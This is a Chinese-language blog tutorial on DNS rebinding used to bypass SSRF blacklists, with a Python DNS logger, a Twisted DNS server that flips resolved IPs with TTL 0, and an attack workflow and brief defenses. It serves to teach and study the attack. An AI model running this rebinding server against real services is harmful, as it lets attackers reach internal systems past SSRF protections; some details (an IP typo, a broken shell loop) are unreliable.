从0到1认识DNS重绑定攻击

0x0 前言

  很早之前,就对此做过一番琐碎的学习,但是最近在应用的时候,发现自己并不是很熟练,对漏洞的检测思路及其攻击思路没有一套系统的模型,故对此进行系统的总结,让更多人认识这种差异性同步攻击。

0x1 DNS绑定机制

了解DNS重绑定机制之前,我们先认识下DNS、DNS记录类型、DNS绑定技术。

  1. DNS

    DNS(Domain Name Service)、计算机域名服务器,是互联网的一项服务。它作为将域名IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCPUDP端口53[1]。当前,对于每一级域名长度的限制是63个字符,域名总长度则不能超过253个字符。开始时,域名的字符仅限于ASCII字符的一个子集。2008年,ICANN通过一项决议,允许使用其它语言作为互联网顶级域名的字符。使用基于Punycode码的IDNA系统,可以将Unicode字符串映射为有效的DNS字符集。因此,诸如“XXX.中国”、“XXX.美国”的域名可以在地址栏直接输入并访问,而不需要安装插件。但是,由于英语的广泛使用,使用其他语言字符作为域名会产生多种问题,例如难以输入,难以在国际推广等。

    小概念简单地说,DNS的存在就是为了域名解析,DNS绑定的效果就是在DNS中将域名请求解析为相应的服务器IP地址请求,好处就是人们访问服务器的时候,不需要背枯燥的32位IPv4的地址,而是可以大众化的单词,相当有含义和方便。

    那么域名解析是什么呢?

    举一个例子,zh.wikipedia.org 作为一个域名就和IP地址198.35.26.96 相对应。DNS就像是一个自动的电话号码簿,我们可以直接拨打198.35.26.96 的名字zh.wikipedia.org 来代替电话号码(IP地址)。DNS在我们直接调用网站的名字以后就会将像zh.wikipedia.org 一样便于人类使用的名字转化成像198.35.26.96 一样便于机器识别的IP地址

  1. DNS的记录类型

    • 主机记录(A记录):A记录是用于名称解析的重要记录,它将特定的主机名映射到对应的主机IP上
    • 别名记录(CNAME记录):CNAME记录用于将某个别名指向到某个A记录上,这就就不需要再为某个新名字创建一条新纪录。
    • 名称服务器记录(NS):委托DNS区域使用已提供的权威域名服务器,用来指定该域名由那个DNS服务器来解析,后面谈一下DNSLog的开发思路会涉及这个。

    ...更多参考:DNS记录类型列表)

  2. DNS绑定技术

    域名系统技术实现)

    这里我可以简单叙述上关键的点。

    (1)DNS区域是一个层次结构的空间, 根域名服务器->子域名服务器->二代子域名服务器

    (2)DNS查询方式: 递归迭代

    递归一般指的是查

    以查询 zh.wikipedia.org 为例:

    • 客户端发送查询报文"query zh.wikipedia.org"至DNS服务器,DNS服务器首先检查自身缓存,如果存在记录则直接返回结果。
    • 如果记录老化或不存在,则:
      1. DNS服务器向根域名服务器发送查询报文"query zh.wikipedia.org",根域名服务器返回顶级域 .org 的权威域名服务器地址。
      2. DNS服务器向 .org 域的权威域名服务器发送查询报文"query zh.wikipedia.org",得到二级域 .wikipedia.org 的权威域名服务器地址。
      3. DNS服务器向 .wikipedia.org 域的权威域名服务器发送查询报文"query zh.wikipedia.org",得到主机 zh 的A记录,存入自身缓存并返回给客户端。

    这里我们需要注意的是,DNS的返回结果是可以由DNS服务器自己来决定的,

    所以说我可以可以编写一个DNS服务器来控制指定域名的解析IP,而且还可以控制TTL值。

0x2 域名解析过程

1. 认识DNS TTL

​ TTL(Time To Live)、生存时间,它表示DNS记录在DNS服务器上缓冲的时间,数值越小,修改记录各地生效的时间越快。

当各地的DNS(LDNS)服务器接受到解析请求时,就会向域名指定的授权DNS服务器发出解析请求从而获得解析记录;该解析记录会在DNS(LDNS)服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS服务器将不再向授权DNS服务器发出请求,而是直接返回刚才获得的记录;而这个记录在DNS服务器上保留的时间,就是TTL值。

这个值对于重绑定攻击来说是相当重要的,至于为什么重要,我们需要先了解下域名解析的流程。

0x2.1 请求域名解析

这里简单介绍第一种路径:

(1) 浏览器发起的请求

1.浏览器搜索自身的DNS缓存,命中则解析,否则继续下一步

查看google浏览器的缓存记录

[chrome://net-internals/#dns](chrome://net-internals/#dns)

2.浏览器搜索操作系统自身的DNS缓存,如果找到且没有过期(TTL值),则解析结束,否则下一步。(这一步很重要,TTL值在这里起决定是否下一步)

3.尝试读取hosts文件(跟本文不重要,忽略),假设没找到,继续下一步

4.浏览器发起NDS系统调用,迭代过程如下

运营商dns-->根域名服务器-->顶级域名服务器-->我们设置NS域名服务器。(这一步很重要,我们可以递归向下设置TTL的值)

5.找到IP地址后,建立对应的TCP链接,开始通信。

其实域名解析过程实际很复杂,不同的服务架构会自动缓存结果,并且有默认的TTL值,这个会影响DNS重绑定攻击的结果。

(2)SSRF发起的请求

直接由对应的服务curl等程序跨过浏览器直接发起的请求,跟上面相比,就是少了第一步,浏览器缓存的查询过程。

0x3 DNS重绑定(DNS Rebinding)

首先,了解下概念

当我们发起域名解析请求的时候,第一次访问会返回一个ip地址A,但是当我们发起第二次域名解析请求的时候,却会返回一个不同于A的ip地址B。

比如我们直接,

curl www.ak.com 然后获得解析的ip为 111.230.x.x,将其认定为外网ip,给予同行,但是程序为了考虑一些cdn的因素,第二次请求判断的时候不会取第一个解析结果的ip,

那么第二次照样是 curl www.ak.com,这个时候我们可以在这个短暂的第一次和第二次的间隔里面控制第二次的解析ip为127.0.0.1,从而实现访问内网的应用,实现重绑定攻击。

如何控制域名解析到不同的IP的实现思路,就是编写自己可控的DNS服务器,并将其TTL设置为0或者极小值,动态控制域名解析的IP地址。

这种攻击思路是基于:

这种SSRF防御思路的基础上的,检查逻辑是第一次DNS查询请求确定host是不是内网IP,第二次请求的时候存在一个小间隔,导致了解析的差异性。

0x4 Python构建DNSLogger

首先我们需要拥有一个域名:

这样我们访问*.log.lovectfer.top的域名时候,就会去到ns1,然后对我们的服务器发起DNS Query查询请求,53端口UDP协议的请求,所以阿里云的还需要进行配置下放行该DNS查询使用的53端口。

接着我们可以来编写一个DNS服务器了,最好跟着笔者一起动手来写写,深入理解下这个DNS解析过程,顺便掌握一些Python网络编程的库用法,提高自己后期的开发能力.

Python 模块化开发思路
pip3 install dnspython3

pip3 install dnslib

采用dnsPython3 、dnslib的库

# /usr/bin/python3
# -*- coding:utf-8 -*-
# 功能:
#     1.记录发往当前服务器的DNS请求
from dns.resolver import Resolver
from dnslib import DNSRecord, QTYPE, RD, SOA, DNSHeader, RR, A
import time
import logging
import socket

# 设置日志配置
logging.basicConfig(filename='dnslogger.log',level=logging.DEBUG, format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
# 设置转发公共DNS
dns_resolver = Resolver()
dns_resolver.nameservers = ["8.8.8.8", "114.114.114.114"]


# 转发域名解析请求
def reply_normal(sck, record, address):
    header = DNSHeader(id=record.header.id, bitmap=record.header.bitmap, qr=1)
    header.set_rcode(0)  # 3 DNS_R_NXDOMAIN, 2 DNS_R_SERVFAIL, 0 DNS_R_NOERROR
    response = DNSRecord(header, q=record.q)
    logging.info("Forwarding request to public dns")
    sck.sendto(response.pack(), address)
    logging.info("ok,Forwarded request to public dns")

def dns_handler(request, address, count):
    try:
        record = DNSRecord.parse(request)
    except:
        logging.error('from %s, parse error' % address)
        return
    try:
        reqType = QTYPE.get(record.q.qtype)
    except:
        reqType = 'unknow'
    domain = str(record.q.qname).strip('.')
    # 转发DNS查询请求
    if count%3 == 0:
        reply_normal(sck, record, address)
    count += 1
    return  domain, reqType

if __name__ == '__main__':
    # 建立socket对象
    sck = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    # 及时释放端口
    sck.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, True)
    # 绑定53端口
    sck.bind(('0.0.0.0', 53))
    # 设置请求次数,超过3次就进行转发,方便查看
    count = 0
    logging.info("Now,DnsLogger working...")
    print("Now,DnsLogger working...")
    while True:
        # 发送方的数据,发送方的IP
        request, address = sck.recvfrom(1024)
        try:
            count += 1
            # 解析DNS请求
            domain, reqType = dns_handler(request, address, count)
            print(f"[{time.asctime()[11:19]}] [{domain}] from [{address[0]}] with type [{reqType}]")
            logging.info(f"[[{domain}] from [{address[0]}] with type [{reqType}]")
        except KeyboardInterrupt:
            logging.error("KeyBoardInterrupt triggered,stopping")
            sck.close()
            break
        except Exception as e:
            logging.error(e)
            print(e)

代码非常精简,能够实现拦截DNS解析的记录,并且进行记录到dnslogger.log文件,并且在拦截3次请求的时候,进行转发到公共域名执行正常的解析。

PS.小提示

本地测试脚本的时候,我们可以采用

dig lovectfer.top @127.0.01 -p 55

通过调用本地的DNS服务器来解析非标准端口

kill -9 $(lsof -i:55 -t)

这条命令方便我们快速杀死相关进程。

0x5 Python实现DNS重绑定攻击

上面那个脚本,我只是转发了请求,并没有控制返回包的内容,而我们如果要实现DNS重绑定攻击的话,我们必须用脚本来控制TTL的值为0,才能实现这个攻击,这个对程序的速度有一定要求,这里我就以一些经典的脚本来分析下。

看了下别人的,发现代码emm,比我精简的很多,还能学习下twisted库的用法,喝了而不为呢。

#/usr/bin/python2
# -*- coding:utf-8 -*-
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
    def _doDynamicResponse(self, query):
        name = query.name.name
        if name not in record or record[name]<1:
            ip="104.160.43.154"
        else:
            ip="171.18.0.2"
        if name not in record:
            record[name]=0
        record[name]+=1
        print name+" ===> "+ip
        answer = dns.RRHeader(
            name=name,
            type=dns.A,
            cls=dns.IN,
            ttl=0, # 这里设置DNS TTL为 0
            payload=dns.Record_A(address=b'%s'%ip,ttl=0)
        )
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional
    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))
def main():
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )
    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()
if __name__ == '__main__':
    raise SystemExit(main())

这里通过RECORD字典来判断,脚本监听开始第一次请求该DNS服务器,则解析到内网IP,之后第二次、第三次等请求解析到外网IP实现绕过。

别人的域名解析配置是:

记录类型 主机记录 解析线路 记录值 MAX优先值 TTL
NS test 默认 ns.test.site - 10分钟
A NS 默认 104.160.43.154 - 10分钟

我的话是采用cloudflare的DNS解析服务,

问题不大,跑起来看下效果怎么样。

在服务器运行前,先安装好Python的库依赖

pip install twisted

1.MAC下测试
for ((i=1;i<=10;i++))
dig @8.8.8.8 log.lovectfer.top;


2.Ubuntu下测试
for((i=1;i<=10;i++))                                                                                             
do
    dig @8.8.8.8 log.lovectfer.top;
done

MAC是失败的

Linux 系统是可以的。

0x6 简单介绍攻击思路

  其实和常规SSRF没啥区别,这只是绕过SSRF一个黑名单检测的思路,该怎么利用就怎么利用。

那么绕过的攻击过程,可以介绍我的一点小技巧。

1.首先是看服务器是否能发起DNS请求,用我第四节的脚本进行探测

2.如果确定可以发起请求,那么再用第五节的脚本进行绕过即可,可以尝试几次,设置绕过的外网IP是HTTP Logger之类的,可以帮助我们查看是否成功了

0x7 浅析下防御思路

  当时群里有人在询问DNS重绑定攻击的防御思路,这里我就抛出一些自己浅显的看法,欢迎师傅们提出更多的见解。

局限性:

  1. 时间窗口问题

    DNS 缓存的问题。即使我们在前面实现的时候设置了TTL为0,但是有些公共DNS服务器,比如114.114.114.114还是会把记录进行缓存,完全不按照标准协议来,遇到这种情况是无解的。但是8.8.8.8是严格按照DNS协议去管理缓存的,如果设置TTL为0,则不会进行缓存。

  2. DNS缓存机制

    Linux dns默认不缓存,windows and mac,为了加快http访问速度,系统会进行DNS缓存

  3. 应用环境问题

    (1) java默认失败

    Java 应用的默认 TTL 为10s,这个默认配置会导致 DNS Rebinding 绕过失败

    测试的时候可以修改配置:

    java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
    

    (2)PHP 默认TTL为0,可以攻击

其实这个漏洞局限性还是很大的,但是如果能确认发起DNS请求,针对性大量请求还是能提高命中的概率。

那么这种攻击有什么办法解决呢?

小弟就来丢一个完美的解决的方案?

原理:

通过控制2次的DNS查询请求的间隔低于TTL值,确保两次查询的结果一致。

技术实现:

所以代码写一个请求判断,Linux系统修改默认的TTL值为10,即可很轻松解决这个问题。

0x8 寻找小伙伴

  我想基于BugScan的DNSLOG进行二次开发,搭建一个集成XSS、DNSLogger、HTTPLogger、重绑定攻击模块、内网穿透模块、文件服务、自定义JS的系统,比如P神的coNote? 我开发能力太弱了, 这个项目一直再拖,希望有大佬带带我。

0x9 参考链接

浅谈DNS重绑定漏洞

写一个 DNS 服务器

DNS Rebinding 攻击绕过 ssrf 限制

Use DNS Rebinding to Bypass SSRF in Java

点击收藏 | 2 关注 | 2
登录 后跟帖